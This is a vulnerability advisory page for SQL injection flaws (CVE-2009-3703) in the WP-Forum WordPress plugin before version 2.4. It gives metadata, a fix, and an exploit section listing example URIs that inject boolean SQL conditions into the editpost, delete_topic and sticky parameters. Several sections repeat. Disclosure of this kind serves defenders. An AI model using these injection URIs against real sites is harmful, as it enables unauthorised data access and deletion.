WP-Forum WordPress Plugin Multiple SQL Injection Vulnerabilities
BID:37357
Info
WP-Forum WordPress Plugin Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 37357 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-3703 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 16 2009 12:00AM |
| Updated: | Dec 17 2009 08:03PM |
| Credit: | Juan Galiana Lara |
| Vulnerable: |
WP-Forum WP-Forum 1.7.8 WP-Forum WP-Forum 1.7.4 WP-Forum WP-Forum 2.3 |
| Not Vulnerable: |
WP-Forum WP-Forum 2.4 |
Discussion
WP-Forum WordPress Plugin Multiple SQL Injection Vulnerabilities
WP-Forum WordPress plugin is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions prior to WP-Forum 2.4 are vulnerable.
WP-Forum WordPress plugin is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Versions prior to WP-Forum 2.4 are vulnerable.
Exploit / POC
WP-Forum WordPress Plugin Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201=0&t=.0
http://www.example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201=1&t=.0
http://www.example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_topic&topic=3%20and%201=0
http://www.example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_topic&topic=3%20and%201=1
http://www.example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&id=1%20and%201=0
http://www.example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&id=1%20and%201=1
http://www.example.com/blog/?page_id=3&wpforumaction=viewforum&f=1.0&delete_topic&topic=5%20or%201=1
The following exploit is available:
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201=0&t=.0
http://www.example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201=1&t=.0
http://www.example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_topic&topic=3%20and%201=0
http://www.example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_topic&topic=3%20and%201=1
http://www.example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&id=1%20and%201=0
http://www.example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&id=1%20and%201=1
http://www.example.com/blog/?page_id=3&wpforumaction=viewforum&f=1.0&delete_topic&topic=5%20or%201=1
The following exploit is available:
Solution / Fix
WP-Forum WordPress Plugin Multiple SQL Injection Vulnerabilities
Solution:
Updates are available. Please see the references for details.
Solution:
Updates are available. Please see the references for details.
References
WP-Forum WordPress Plugin Multiple SQL Injection Vulnerabilities
References:
References:
- WP-Forum, WordPress plugin Homepage (WP-Forum)
- [ISecAuditors Security Advisories] WP-Forum <= 2.3 SQL Injection vulnerabilities (ISecAuditors Security Advisories